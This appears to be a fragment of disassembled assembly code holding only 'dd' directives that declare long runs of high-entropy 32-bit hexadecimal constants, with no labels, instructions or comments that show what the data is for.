dd 0BE0C74E5h, 0B95B6943h, 0ED94C9CAh, 0CD8E3570h, 0E1B3D839h
dd 96725A6Ah, 0BDC42318h, 3623D8CBh, 5BB49DD3h, 9E14231Bh
dd 5AE80EAAh, 0E5D0A693h, 0F948A1B1h, 7CAE6E4Eh, 9BCDE8F7h
dd 0EB147122h, 1E5CDDA2h, 0D9BB6F7Ch, 99C86F4Ch, 0EE43876Dh
dd 3B6812h, 22BD0E79h, 0B60DE763h, 81564548h, 726F91C9h
dd 91996E3Ah, 579B0360h, 0D778085Bh, 8F54DC42h, 0F19D5F6Eh
dd 21DC716Ch, 6DB6580Fh, 0BF37A11Ah, 354F8575h, 0EEADFDA0h
dd 7D457B3Ch, 4AE34FABh, 0FCB282BEh, 4C6DDEE3h, 0BF318058h
dd 0A1051EE8h, 6E913805h, 8CD1FD14h, 0BA531E54h, 620C6A2h
dd 17F51DD3h, 14960F40h, 4CC7AD8Ch, 0E769064Dh, 8D05F2EDh
dd 0A63DDD32h, 18919FD6h, 54A71BDBh, 976D1D92h, 4164293Fh
dd 423E7556h, 0AA123491h, 346016D9h, 0E8140607h, 18007D15h
dd 1F394F41h, 0A2A65385h, 0D21FB36Dh, 66D85390h, 147F473Ah
dd 8752761Ah, 0D26AD67Fh, 8A9E3618h, 792BFEB7h, 5B017CEAh
dd 0EC3A15E6h, 482E7087h, 7DB491B6h, 5834D28Ch, 362042F1h
dd 9B70578Eh, 0F982A733h, 93554B68h, 870EAE1Ch, 74F3FC53h
dd 410F62A5h, 52F295B1h, 69C1D09Ah, 0B320481Fh, 0A887D8EAh
dd 1CDAAE52h, 0B91109ECh, 1F246B5Eh, 83B00735h, 10E2AA87h
dd 3AD2CAD4h, 2AF2482Dh, 76131A5h, 22E1ECADh, 0A463465h
dd 7EC335DFh, 0C7803827h, 56C3321Fh, 85AC096h, 5B55AF3h
dd 0BFACACFh, 1AEC0133h, 9F6B18Bh, 8A6B1611h, 3DB3719Ch
dd 11CC82C5h, 8D516406h, 6164A161h, 0B48EBC97h, 0F3D513FBh
dd 836286F5h, 81369579h, 802EB229h, 4582E6A4h, 0A870CAF2h
dd 2018E638h, 4CAA9164h, 0BA9946D2h, 110ED162h, 9E477D2Dh
dd 1F82D62Dh, 0D366F8BDh, 295329E6h, 717DF1D6h, 0C7B2E352h
dd 111DEA35h, 556A2FF6h, 5D7CB75Ah, 0B5AA2D5Dh, 57AB7B0Fh
dd 699257A3h, 0C7797AF4h, 0FC94E464h, 677E0E69h, 0F7188666h
dd 3A6B207Ch, 99B7943Eh, 91FD829Ch, 0D5F2A290h, 8B229C7Eh
dd 0ADC0E0F5h, 2D48672Ah, 19DAAE2Fh, 8FA34F85h, 3B5D2452h
dd 39830D73h, 0ECE612EBh, 72D9D3CCh, 3A129ACEh, 1FDC05CAh
dd 5F9FF379h, 67012822h, 27C4B1C9h, 0C65C11CAh, 654659B2h
dd 0AD3042A2h, 62E2D7D5h, 0B59C6D10h, 2D014765h, 2AE00E3Dh
dd 3934D859h, 0CBEA2165h, 56D375C6h, 0D66F994Eh, 0D6539466h
dd 25EE113Fh, 0DE75B90Dh, 0BAAB5B9Fh, 74DB8A51h, 574CF2A8h
dd 0F1D96D6Dh, 1DDBC0F0h, 7690636Eh, 85CA059Bh, 0DDE584D9h
dd 0A01B0F05h, 63078575h, 95EB076Bh, 917D1F53h, 8A935A7Ah
dd 0C706B31h, 0A02C38E7h, 2348308h, 0A03FC8ABh, 0BD1285CBh
dd 57987ED2h, 0CFFECDA0h, 94E1936h, 0D02414A9h, 5642EB17h
dd 0D47274BAh, 9DFB4A05h, 704F23D9h, 0E790BAE9h, 0F52BDE3Dh
dd 65D20751h, 15AA8175h, 857C78B9h, 0EF304A13h, 41D44899h
dd 859C6249h, 70DD0F67h, 4993E8CBh, 0B77322AFh, 0F119E070h
dd 0FC70B2D6h, 0F25E51D7h, 8AE6DD54h, 0EB8D3AE6h, 540417E2h
dd 0E72E0034h, 2F370050h, 0D28CC6A6h, 0A93E1346h, 0D755F384h
dd 6B3DBAB3h, 9C183172h, 6346A41h, 26447448h, 0DA35D322h
dd 0F0206FF2h, 97761B32h, 0BC58C664h, 70529CDDh, 38B46EDBh
dd 5374210h, 0AE8BAA6Ch, 72BB958Dh, 2A76C2ABh, 6F47DC96h
dd 21B7AA93h, 0E043788Bh, 682C7686h, 0DF9E3496h, 0A90AAC96h
dd 0FB706978h, 13821A47h, 1AACF769h, 36F404E2h, 29D05470h
dd 9E3C3752h, 916EE34Fh, 6B8D705Ch, 54ECEF71h, 62F30ABAh
dd 0E5526965h, 0F2B6CC16h, 0F967D14h, 56E894DBh, 0AC97E0BFh
dd 0F78B3F47h, 0C6A3EAB6h, 2D8407BAh, 0FE908462h, 7F6BDB3h
dd 0A01F49E6h, 0D71AF44h, 0D48F6155h, 0BD316F3Ch, 827452FCh
dd 0BBCE065Bh, 15CF0D55h, 0F3D2EEC9h, 764C71E2h, 957F3199h
dd 34CC2C68h, 881BE0BFh, 188B5E1Fh, 56A9FA14h, 5948C083h
dd 0ECFCB7DCh, 46E54464h, 1DDA2089h, 38426CC1h, 0ACD448D0h
dd 0CC3DCC2h, 988EFD2h, 0E3FCA6B1h, 0BB5EECEDh, 209F25A8h
dd 826733CCh, 29CD92E2h, 6E7E01D2h, 0D56036D3h, 6AC75075h
dd 0C585C40Fh, 8969B0E0h, 966A63D6h, 3E59EC2Ah, 752BFD3Bh
dd 7D7B2907h, 350B3955h, 62C10D32h, 1ECFD48Ah, 0FDFDFA41h
dd 62706FEEh, 0DFC7580Ah, 0B6F3A21h, 0DB99182Eh, 0BC37EC30h
dd 96F3D62Fh, 99EE50B7h, 57979BD1h, 56CCB16Ah, 0E8E5D435h
dd 0E74DCEE5h, 87CD584Ch, 0A43DE3F7h, 0FB10C55Dh, 0A3E7DC23h
dd 8C832F7Dh, 5CB90750h, 0BC38050h, 7133DA3Bh, 6E6AFD34h
dd 89F2041Ah, 0EFF113BEh, 15FC2FE5h, 14854133h, 0A3BA0F50h
dd 9C5553C5h, 43C4616Bh, 0CF30B107h, 71262630h, 0DE91642Ch
dd 804BFAAEh, 0D9418A7Fh, 0F29697ACh, 21DF9BF2h, 30C2C362h
dd 0BB0398F7h, 645713A4h, 0AC0AD5F2h, 4485D7E5h, 4CD8D7B0h
dd 4310DE66h, 2D79DB97h, 26CD0CDFh, 7B8F0E9Eh, 0F4CFA3B0h
dd 791CBEA4h, 4B514B1Ch, 0F6B2130Ah, 0AD4F103Bh, 0B4A758E5h
dd 9C3BFB3Dh, 7DA19E35h, 8E4A559Ah, 2C6407EAh, 29ED1DA5h
dd 0BC82D59Dh, 0ED1F1BE6h, 7966BF8h, 5831847Dh, 267F9EBFh
dd 7AA64F9Ah, 0C893F707h, 7733B311h, 7AC8AA28h, 94303DC4h
dd 4337F12Dh, 84A02A6Eh, 6BB13532h, 6ECB1CD5h, 2E87A5DCh
dd 0A4D8ECF6h, 9E68929Ah, 8E5DAA3Ch, 987D2114h, 1A4A6F10h
dd 0EAAD6739h, 0D8F3FCB0h, 2691526Bh, 0AA15A814h, 5571FE71h
dd 3CD91212h, 802FC195h, 4C0C753Eh, 0B3332951h, 8C11185Ah
dd 5A9B304Dh, 88D85197h, 0E89444BFh, 0CA39F9F6h, 0B3C15FD2h
dd 0B75E3C2Dh, 1E441BC3h, 331AE6E5h, 5136C4D0h, 823FF404h
dd 0C7CB4896h, 0B86BA3FBh
dd 13EF8ABBh, 0F449CDD6h, 0EDE4C460h, 447FBC23h, 9D73B70Ch
dd 0B55C7B18h, 5EACA887h, 5DE3C387h, 0D31F8AFBh, 3ED15CC6h
dd 7EFFDCA2h, 23D1F9B2h, 0EF16B8D8h, 86404CC5h, 9B4C10BAh
dd 889396BBh, 4FCF7299h, 0F331C4A2h, 768DC386h, 10FCB243h
dd 3851A274h, 2A0094B3h, 0F31DCEEAh, 85B3B682h, 6E0894CDh
dd 0FD014711h, 3E7EB408h, 78C6ACA5h, 2E05BAC8h, 29EBB84Fh
dd 7E74F5A5h, 72C74A6h, 3C12E2B7h, 5B4B71D5h, 55B549EBh
dd 0FF96144Eh, 0BB50DF6Fh, 15C68692h, 0ED6965FEh, 0D7C4471Dh
dd 0A26515E2h, 16A0871Ch, 0F9BD7851h, 226844E4h, 592B440Dh
dd 0E6F848E1h, 0C13300CAh, 0A99A3FA5h, 117F8513h, 0E9A88ADEh
dd 34FA1AEAh, 72CA0190h, 5C17F2B6h, 549A5B4Fh, 0BFB75FEEh
dd 7953F9F5h, 0D58922BBh, 0A6B968E6h, 0E8C1DBB8h, 0D9F0ECDh
dd 84C90425h, 92AFAD2h, 0F08DBB78h, 0C309757Bh, 0E596858Ch
dd 58D29Eh, 9EFC07Fh, 0A42EC86Ch, 6222E98Eh, 707BB985h
dd 31ADD8DAh, 4DDC859Bh, 0C50FBF3Ah, 3872549Dh, 8707E3D9h
dd 0B6A5E7D6h, 5A1A3659h, 931C1748h, 0E5BECE2h, 4581A3F5h
dd 49F1D205h, 63A0E385h, 71C1A678h, 0C01E9A5Ah, 7DEC3FAFh
dd 29A2608Eh, 0BB27759Fh, 0D62440D2h, 9E63942Fh, 21C14476h
dd 0CECBECECh, 243A0489h, 0D07A0383h, 0F0BEFFFFh, 0DBB17AE1h
dd 62679617h, 8A58A2D2h, 0DA540D8Ch, 21591BE0h, 0F13CD771h
dd 8DE2A5B3h, 0EC3AB9E1h, 0D16109BFh, 0DF580E41h, 0A6424D93h
dd 97C89F1Eh, 0C61D5B33h, 0C495EBF2h, 0DAE7C35Eh, 92F93FC4h
dd 81AD9D5h, 6223F10Bh, 6F540A9h, 4A0B21E8h, 26A780E2h
dd 0F956CC06h, 0A5C75E8Ah, 0FC5D2CD2h, 2CA2E237h, 0D4BDBCF7h
dd 75D3A7FDh, 4FFCE5ADh, 0F1B2E6A3h, 0E66F1F9Ah, 97421003h
dd 93F7802Dh, 814A2AFBh, 3FEAC9CAh, 4ABA8FB3h, 562D5962h
dd 9C6A9137h, 836E3411h, 99D24DD6h, 0A096384Ah, 37AC5714h
dd 0AC61950Bh, 0D13A5A39h, 0F95BD337h, 0F9A607Dh, 0F337EB68h
dd 393F72Ch, 7C8EEA78h, 0F7B50D15h, 0F32F595Eh, 1851F11Ch
dd 6927029Fh, 0B08C5228h, 0CDEAEF26h, 6DF88D49h, 29F924CEh
dd 7FE0D572h, 3FFF27C4h, 3362FFA7h, 6550E7E3h, 9E8A6D0Ch
dd 7DB6A015h, 2F1A02E4h, 0EB4924FAh, 11FFFBDDh, 1E6A1489h
dd 62F0F65Bh, 76EA79BFh, 9AA9A1CEh, 43F6931h, 8D145C19h
dd 0FC2EAC7Eh, 357DDEFAh, 0D8D84EB3h, 11F6AC62h, 13A32F07h
dd 0F957C34Eh, 0CF20B3ACh, 0BA68C44Bh, 0D680F262h, 0FCFECE36h
dd 0C290650h, 37F0D9Bh, 2F99F6CDh, 646B3D7Fh, 9E062ADBh
dd 0D13D10D3h, 0FCE86E14h, 0B8AAA2B8h, 1C9CD75Dh, 9259C305h
dd 0F3B9FC68h, 1871D03Dh, 91914979h, 0FE4A3727h, 8A828F29h
dd 57C40CF9h, 0BD652109h, 0E6DC974Fh, 2D39D347h, 39E292FCh
dd 4C67C12Bh, 18E0D0F3h, 2E7A4C78h, 2BA32FA7h, 0AF5BEDC3h
dd 0E9D780C1h, 3BBA81CFh, 6BCE03D9h, 2C691038h, 51FBB12Bh
dd 6724463h, 0CA49D596h, 0E9EEB739h, 0CC131D00h, 0B43C320Fh
dd 704B4945h, 5335CA5Ah, 7ECF6044h, 0D66D6744h, 7C11D5EDh
dd 61FF41A9h, 0D2281E2Dh, 0AC07977Bh, 0DEF764F2h, 5C08FE2Eh
dd 516B0C25h, 0A3CB5837h, 477EB863h, 2F648FA0h, 0F7E453C8h
dd 0C21F2B35h, 0AD42A49h, 0FDAEEACAh, 0C4EE9389h, 218524C3h
dd 541A1B79h, 58587150h, 5F4796D8h, 13305457h, 306A548Eh
dd 1612FA2Fh, 0BB42AC7h, 0A80D4BFAh, 30F982EDh, 25213CA7h
dd 4C423296h, 8A89E1C9h, 320729E6h, 0EEFA0C8h, 2DD1DF75h
dd 79CF27D0h, 0ADAAD770h, 1845194Ah, 7556A6FCh, 0AC386C29h
dd 16486F58h, 861A2D60h, 67BD74C8h, 74829E11h, 84875F2h
dd 0C195EA73h, 6C02054Fh, 0DBC62C63h, 69769931h, 0B83AC86Ah
dd 2BABE15Ah, 8A7F38C1h, 3AA354E3h, 8CD2C597h, 680D1DD7h
dd 0C8CE374Ah, 8059B21h, 88C54A4Dh, 0EA8BF3D1h, 0E343B48h
dd 893CF312h, 0D96CA9B0h, 0AD068DB8h, 1D728532h, 71899E4Dh
dd 9D92C5C9h, 7C1868A1h, 55B55463h, 70156F08h, 90709C79h
dd 15834452h, 0A1CAC23Fh, 1FB721C1h, 0DE76A578h, 3684EF2Eh
dd 0B083DC7Bh, 0A79E906Dh, 9A6F1D28h, 92B92EDFh, 0E78586BCh
dd 465D2ACBh, 0FC1D9FB8h, 0C2C5D930h, 6023985Ah, 0E78FEFA8h
dd 0CA5E8FBCh, 21FF8465h, 5529300Dh, 682D2AEh, 1158FA18h
dd 1FF3D149h, 0B20FA324h, 348BD070h, 5628C046h, 610304ECh
dd 0C182B2DDh, 6B7650E7h, 7F1AE831h, 2E94DB81h, 0B8B4CEFDh
dd 0B4B25BBEh, 42A76E29h, 5528D3B6h, 0E79F5042h, 2045DB2Bh
dd 0B5106BE1h, 0BCC945FCh, 6309C97Ch, 9EC8BE82h, 355EE7Dh
dd 2A85F04Eh, 6FDD4667h, 0CE871179h, 0D27BBE51h, 0E8171633h
dd 0C360C739h, 0C2D5DC0Bh, 8BE20814h, 0D369B262h, 5685969Dh
dd 0E6DFD5DBh, 0ECC9B7C7h, 9F02C914h, 83E1EAC1h, 0C7C56F67h
dd 687CC58h, 86CCF572h, 0D6C2AE87h, 3D206657h, 818A3910h
dd 2CD02B34h, 8681219Ch, 72EDD2F7h, 0C6ABCF6Dh, 0E3BA7DBEh
dd 818738EFh, 5A3A63E0h, 875226FFh, 15F2D76Fh, 2CCCAA8Ch
dd 4D7DBAF2h, 10E25876h, 9A4AED1h, 0CC584831h, 37015F6Bh
dd 0FFF00FF8h, 6FF809C4h, 1952F9D5h, 2B850B69h, 0ACD58B88h
dd 8CDF55E7h, 0D3AF4F12h, 0C54037BCh, 458D63E6h, 85CD33C4h
dd 0B2D4D3FBh, 0B834B3FDh, 0DED72113h, 6F09EBAAh, 3930ED7Dh
dd 0C7CE5531h, 48AF9E6Ch, 0A566D07Ah, 0AD77338Ah, 945F1A4Bh
dd 98C0BE09h, 35A2DA94h, 0F38AEFFEh, 2D559BCDh, 3CFBA625h
dd 5530D214h, 327C3ED6h, 8362AD8Bh, 84DDAD2Eh, 0A183040Eh
dd 0F2943263h, 730B9504h, 352335D3h, 23D660EAh, 4D8316DCh
dd 7FA6AC3Eh, 841C856Bh, 2EFADE68h, 0BC4EEC3Fh, 0ADE99AAEh
dd 0F8710539h, 8FB4DFD0h, 0E8BF1EC5h, 6C171CAFh, 0FF913B25h
dd 1F1B935Dh, 1D6A896Bh, 240810A0h, 28FF3F7Bh, 7CDE88CDh
dd 0A57D037Fh, 80698673h, 55F54CDBh, 1BE7F12Bh, 75044770h
dd 0FD77C467h, 18A43299h, 0E279BDCBh, 0C033BA15h, 0DE312AE6h
dd 6F2FE512h, 0A525BA36h, 0B17FF442h, 0FF805EBBh, 7F7712BDh
dd 96294E13h, 7829ECCDh, 1777176Ch, 3F271E6Ch, 0F516C602h
dd 5F266FEBh, 797558E7h, 215D98F6h, 6E179B03h, 0B1696461h
dd 496DDF35h, 4996E74Ah, 6F7DAF6Ch, 4467A61Dh, 0D693CEA8h
dd 2AF1568Bh, 26314CBDh, 5EE30A1h, 0B4E35253h, 0D2C4A02Fh
dd 18DC3804h, 47B7E38Eh, 0E619B682h, 0A1015E48h, 3859F4A8h
dd 0FC67FFDBh, 0DC58CAF0h, 57D6C904h, 0D489D81Eh, 8C751BCEh
dd 0C07518DAh, 7E464127h, 5066E805h, 190AC7DBh, 0A434DE5Eh
dd 0F1296FF3h, 4D108F03h, 0D5E9FFCFh, 0B32263A2h, 3717C341h
dd 6C498C5Bh, 0EA4CE79Ch, 0FA3134FAh, 0DA8EAC4h, 16132C89h
dd 0E774E843h, 71F70Dh, 29CC15F4h, 8BBA572Ah, 0EA010A6Dh
dd 73CFE570h, 15210453h, 0D3E7FE7Bh, 7096CE54h, 0A6739704h
dd 8FA7448Ch, 0C67BB5C7h, 3ABE1F9Dh, 0B710EA87h, 2F8780FCh
dd 9A64BF0Fh, 0DC4A030Ch, 9720A305h, 0C2099CE8h, 0BFEC0200h
dd 316501ADh, 0CE0F6463h, 0F0166B3Ah, 35C6796h, 60717017h
dd 8C90487Ah, 21292E61h, 398A9A0Ch, 0ACF0D3F5h, 7C170ABDh
dd 95638412h, 9A5327C3h, 45833773h, 267FF951h, 3481AE68h
dd 0D97B7A66h, 77BC2115h, 6B1FDDB0h, 566734E1h, 3A9479ECh
dd 57BD5F46h, 0D3DE19Bh, 0BE8DBF80h, 11C97251h, 6F7F1200h
dd 65C4CE2h, 9A684ABFh
dd 5BFE3649h, 60F2A05Ah, 9899F8FEh, 0F942C3BFh, 0CD49E02Bh
dd 17043E9Ch, 30748D21h, 48DBC554h, 18CD9F1Dh, 0FAA4A4CEh
dd 0FB98845Ch, 67625C1Fh, 375C0355h, 0F9C36E03h, 2A1752E5h
dd 92E037F1h, 0E309F499h, 0D97286B0h, 0FC9FEF04h, 0B7CE8C87h
dd 0CFF5150h, 200754E0h, 74A70171h, 0DA238C64h, 0F779571Dh
dd 48F71EF5h, 0B18B9C0Fh, 850D8DA9h, 337AC3DBh, 39CCDE1Ah
dd 66F031CCh, 0EF19B7E9h, 8F5B5DDFh, 5AB1BEF3h, 0F1395F8Dh
dd 0BF4A6398h, 0C3B0EB3Bh, 0F137EDB6h, 188E7BC2h, 0D7C6BB8Bh
dd 90F8ECC7h, 3F090C05h, 17985119h, 6EDC2A2Dh, 0BEEB73A2h
dd 7C0C5809h, 0F76AE434h, 769267AFh, 1DBDB7FAh, 0BFCE865Dh
dd 0A48BC9E2h, 576B968h, 21FD787Ch, 2F8A993h, 60F323C8h
dd 0D80D6E25h, 0DAA79A36h, 59DD4029h, 0D2489F6Bh, 499372CDh
dd 0AB2D4800h, 320E58CCh, 33044EFh, 0ECFC07DBh, 49EC330Ah
dd 0C5F4A4C1h, 6F939106h, 45C4BB02h, 0BAD97FB7h, 0E7CB3960h
dd 0B33528F4h, 84DB0644h, 78BCA65h, 0E4E2893h, 0D3578551h
dd 59245BFh, 9828C5D6h, 0B9C435B7h, 0D4D19CCBh, 72620BFh
dd 5126238Ch, 0E8E1196Bh, 649C847Dh, 51DC03CAh, 0D5DD42FCh
dd 0D457EE2Ch, 0F7B654FBh, 0F33D4CD9h, 26157562h, 0FAE50F6Eh
dd 4673D95Dh, 9C6DBB16h, 50E11E3h, 0B30C0FD7h, 5ADBB6BCh
dd 0EBE6A091h, 0FDE44470h, 7FFA723Eh, 0F6652C98h, 430C19A5h
dd 6BA020B8h, 463915C5h, 745B909Ch, 0DE1085FCh, 0F452FDDCh
dd 35391A6Fh, 608386Ah, 0F09A8C17h, 981D6662h, 750D6E62h
dd 86EA4E8Dh, 735F9320h, 0E31D25DAh, 40A3197Dh, 0A8CB4E33h
dd 705B4058h, 5DEAFDCAh, 0B9D52CE4h, 94E00F51h, 0E96CC50Fh
dd 6AAA4E61h, 49E7BA09h, 0FF0B051Dh, 57E612F0h, 5C83BD03h
dd 9137F0C8h, 0B1316Fh, 7C15EC2Bh, 44FA7B43h, 364B826Ch
dd 5F0D7072h, 4C27B00Ah, 0F8F8357h, 0A33546A5h, 764AA517h
dd 5F2BBA8Dh, 0AC781AAAh, 95B52CD2h, 0CBBD2E53h, 49EE5B17h
dd 0D1582828h, 43C16643h, 3D0461E1h, 0D42CDD56h, 25C4C52Ah
dd 5DFF3137h, 960F128h, 0D451DF59h, 46D1163h, 0B13F55AEh
dd 784DFDD4h, 100F4089h, 0BE1717DAh, 0BE136BECh, 1BFE31FFh
dd 64F99C23h, 37F69796h, 0B745C336h, 69EB80E6h, 9AAC4D99h
dd 1B0B96E4h, 0B826F77Fh, 4AD02754h, 0A704E5ECh, 1D62227Bh
dd 10ED68E6h, 643A8BBDh, 58636B16h, 0E60B527Bh, 50F176E4h
dd 65A9237Bh, 7B010F6Ah, 0C61D8DCCh, 0BA714AE1h, 1D6BD932h
dd 805991EAh, 0BE70C4F2h, 3D4CE49Bh, 0AED4D77Bh, 707EBCB7h
dd 0BCA9D831h, 771323DEh, 9290A20Dh, 0BB0E96D9h, 11A799A6h
dd 0CD293723h, 11077364h, 4A9EDB04h, 64064F0Bh, 157D5BCFh
dd 0C3806B73h, 9D451706h, 2E5868AAh, 3631114Eh, 0AFA10C37h
dd 4D2852DEh, 0FCFF023h, 0E6A7A0A9h, 0F67D4E94h, 846E058Dh
dd 860B7738h, 0A63AE3FEh, 96C7C352h, 0A381803Fh, 0D7A791C6h
dd 0F64447FAh, 33BE57E4h, 0E22A6EB0h, 0A88FA1F3h, 0AF4B2742h
dd 31E98C55h, 5045FCB6h, 68155B04h, 5E3CD166h, 4E28ABCh
dd 0DE415885h, 570B0C7Bh, 789160E5h, 0DD012A6Ch, 13A9B155h
dd 0AC080CFEh, 0F1C0CE2Eh, 43AC7B3h, 0A764A318h, 1AAD4EE0h
dd 166FAA53h, 5FBB50E5h, 0C413BC03h, 9350677Ah, 0FD2166D4h
dd 592A1131h, 97EE07E1h, 8F4748EAh, 909836F5h, 7A2BFDF2h
dd 7477F0F3h, 580D0C3h, 0F5F9EDE5h, 40631565h, 835B1EA6h
dd 0F59186CCh, 35B75F34h, 7C584EDEh, 80373BC9h, 0A3DAADCBh
dd 0A18BD136h, 9A42A09Dh, 548EE05Ah, 27240DE8h, 1EAC9A43h
dd 38C406DFh, 7FEA1A96h, 0B5DBBB73h, 397D583Fh, 494DB7E2h
dd 529AD080h, 63A9E712h, 843695EFh, 0C2F287DEh, 8C69A95Bh
dd 3E009E9Eh, 0BABAA46Bh, 0BB82EDEEh, 0CC8F4E7Eh, 52FBD5E4h
dd 5A388500h, 0C4A65A6Fh, 0FE844BEh, 0DD81B8D3h, 7549A87Bh
dd 4E26F7D1h, 5F9CDA34h, 0A6C38FD8h, 0B25B01A9h, 8253B449h
dd 0C4A5B069h, 3A155B14h, 0DF7E9987h, 0F3B0D20Eh, 0AA1A7305h
dd 7B10AA25h, 5E0DD3AAh, 8EFEB13Dh, 94633065h, 1D693345h
dd 810A8EE4h, 3B9069A4h, 24A7EC9Dh, 22FC85A8h, 3B9A93FBh
dd 7953ACCDh, 4D156494h, 62CC158Dh, 0F7A5F98Bh, 54BB0ABh
dd 25688B62h, 0A7B6D444h, 0FBA1BB0Dh, 0D945303Eh, 7D60B2FDh
dd 4913B0C1h, 7B3707A4h, 0D4E2D024h, 6C0DDAA7h, 5283C98h
dd 0AE23AA17h, 316E38ACh, 782341E5h, 39851C56h, 3882275Dh
dd 0EEC04112h, 5AF17DDAh, 60D69D29h, 6CBD7699h, 0FFC406F3h
dd 9096572Dh, 20965B19h, 0FDC780F7h, 0DF21A2E2h, 183EF6D5h
dd 34903B0Bh, 8FAC6E7Eh, 86A6045Fh, 0DF6848ECh, 0C9E81FDFh
dd 0EE4B3A0Eh, 59DEA19Ch, 63B7D8FFh, 467B428h, 0A8328652h
dd 76E61BD1h, 0D392033Ah, 62363516h, 0BF31E8B5h, 775A3BA2h
dd 0C77BF358h, 0FB2DD567h, 6E2B630Eh, 10829FCh, 52AE28E1h
dd 0EB416E28h, 8AB3E4FCh, 10F98860h, 1C256B8Ah, 439D5EF1h
dd 0AD553BC6h, 0AF99ECD2h, 0ECA0492Ch, 30F218h, 5213826h
dd 1DA3CCBAh, 4367EC1Ch, 12CCFFE7h, 593A6C80h, 610BAC13h
dd 0BB7960FCh, 3C478FBFh, 76AB2641h, 13AC92A7h, 0C00A0AB0h
dd 749B138h, 0F5F16575h, 887BFB60h, 58B92B62h, 0CFC2874Ch
dd 0B17ED857h, 6B293FBDh, 0F1155630h, 1BF6B40Bh, 346B0676h
dd 551FA473h, 0A5EC699h, 6DA9F94Fh, 770EAE27h, 0A087330Bh
dd 57F3E7CFh, 0B1AA653Ah, 80C27B69h, 0AD472A9Ah, 0AD19D2D4h
dd 0CFC7596Fh, 0DAF223A0h, 0B87A9AADh, 8F290A4Eh, 35846A35h
dd 9BE67C11h, 6F5B047Fh, 9EF608E2h, 0FBE7829Bh, 0B51D0042h
dd 6FA2357h, 0C4F915FCh, 64C2DE26h, 0A651E7C6h, 0A36C862Eh
dd 91AF43Ah, 7EEB24DFh, 32DB37B5h, 2B045521h, 3B225D3Fh
dd 0A603011Ch, 0FD002CB2h, 0CF0A5F2Dh, 0D80D8B7Ah, 271358E5h
dd 0ED4D8D07h, 0F3A7F60Fh, 5F427AB3h, 0B71C572Ch, 8D569D38h
dd 0C595F498h, 0B17C2E6Fh, 0ABFE7D40h, 92C7EDAAh, 67A6BDF4h
dd 136A74F7h, 2A0FDD02h, 6D87B7B3h, 6288A4FAh, 0B54F6AD6h
dd 0ABC70358h, 0CDDE8BD2h, 6E079BA7h, 0CB94C581h, 0EA5D8436h
dd 581E6E47h, 0EC79C36Fh, 4921232Fh, 9B80B2A3h, 39002FE9h
dd 0E068D50Ch, 71986BBAh, 8869D918h, 0F61A4657h, 35BE17D7h
dd 5B5EC523h, 6D9FF5D5h, 0BC8840D9h, 9E12A9E4h, 973E762Ah
dd 97BB0DDBh, 0F2DE296h, 0B10A51C6h, 0D1828A62h, 0C3CF819Eh
dd 917D4B2Dh, 7803E37Eh, 615A08D8h, 0D6887D44h, 3E2D5B01h
dd 77039F58h, 0FCFB8634h, 0BD6E94B6h, 0A99283CFh, 7C668C8h
dd 0F10ED90Eh, 9ADFF00Ah, 0A11C5CD5h, 8A0C995Fh, 67FF18B4h
dd 5CB84A53h, 0B9C7843Eh, 43B64096h, 2957229Ah, 0E8EDBA0Ch
dd 9B797F1Eh, 0F3726C69h, 5830100Eh, 0EE992819h, 0D73C0DD7h
dd 826D7E41h, 154A32A9h, 95FE768Fh, 0EE18D002h, 26FEED08h
dd 302D4BF8h, 902FCED9h, 45C4DA28h, 787372F5h, 93ED847Eh
dd 73214E1Fh, 87DCF7D0h, 0B4A02DFCh, 0E4C015EAh, 0DF00D638h
dd 46213C4Dh, 1358E07Fh, 76907E3h, 477B3C5Bh, 2CEAF40Dh
dd 334350F0h, 0E33FA2EDh, 89817E0Ah, 4AA543E9h, 5C61C6BDh
dd 0F082FBEEh, 10510DBh, 0BE82ABD4h, 2DB61BD3h, 0B2C9DF16h
dd 0A3066336h, 0B9F7DA81h, 5A51A355h, 1592BFF0h, 71AF7D71h
dd 472FDF88h, 144B2029h, 9C001B8h, 0CDCF839Ch, 5F7F6C3Ch
dd 0B1485183h, 34D09008h
dd 8F7B7E4Bh, 651DDDA0h, 36907345h, 2BBFC937h, 556A1F8Dh
dd 0A61BC7AFh, 0BA30EDDAh, 0CD68466Ch, 3EA08FE0h, 1A41C72Fh
dd 0F244BB2Fh, 0A5EE7534h, 3B32ABD7h, 0CADCF732h, 2CDA5929h
dd 0BE1BF9BBh, 0EF8DA289h, 4937D92h, 0A79266Ch, 500223C9h
dd 66B6DDFDh, 92A41C82h, 84E80849h, 1E4627EEh, 0F70AAD2Eh
dd 114F691Ah, 0B57C1CFEh, 0A171467Fh, 66F4B8FEh, 0C2C93629h
dd 0F9BC52E1h, 0B3AFA423h, 701405Fh, 7507651Dh, 2BFD2FD8h
dd 385BB9ABh, 22514939h, 0E637BD6Fh, 124310B7h, 4EC826F3h
dd 0E3EA1496h, 31A56617h, 2C4F5842h, 1655AFEDh, 0A9818F22h
dd 60F657E1h, 0FFE35A71h, 1459E22Ch, 0B35BD46h, 0CCBB02D6h
dd 65C040A7h, 61F44469h, 0AA40B0BDh, 898D37ADh, 0E39C23D4h
dd 67473F7Fh, 5E499DF9h, 0E234CBB8h, 0B93BE96Ah, 82863BACh
dd 164DA047h, 1D3E4E6Fh, 72F4A92Bh, 912C7288h, 87F3A8C5h
dd 6D15180Fh, 0E541BF57h, 9BBCBC7h, 0AFFF01B7h, 631F38C0h
dd 6938A1DCh, 983E4539h, 7E3FA82h, 50873495h, 0CAA0CACCh
dd 0A97C547Fh, 0FBB6F05Ah, 8D44D17Dh, 30969626h, 9DF7CE39h
dd 0AAD0AC9h, 0F9A3654Ah, 33EA4096h, 5A12F346h, 6DFB5B2Bh
dd 86524E82h, 0A8F2464Bh, 95E7FCCFh, 96A1B5CFh, 406230E7h
dd 2D8F99FEh, 0A96E7A31h, 9D6E3146h, 8045E8EBh, 0EFBE90A0h
dd 777F8851h, 5AAF9074h, 0A0EF7513h, 0AEA1EA55h, 30C3FF50h
dd 0E0225A68h, 9CE35AEFh, 701E5EC5h, 5B35C965h, 69974D3h
dd 0CBAADAA4h, 6D408807h, 6BEB02F1h, 0FB596AC5h, 6CD16A6Fh
dd 7BE99635h, 519EA5A6h, 3CCA2A5Bh, 0C4AB02F6h, 7A68BCB1h
dd 6BF1E099h, 556B721h, 0BE390794h, 43CB037Bh, 394B7871h
dd 0B171FEC7h, 34E646EDh, 0F3478EC7h, 0F1E4C9DDh, 0BC4AEEF7h
dd 0A4FE345Eh, 3068902Eh, 7DFE2708h, 0E9B678C9h, 668CE1Ch
dd 776E50BEh, 77B068B1h, 52640163h, 0F71184B6h, 0B2B5FBACh
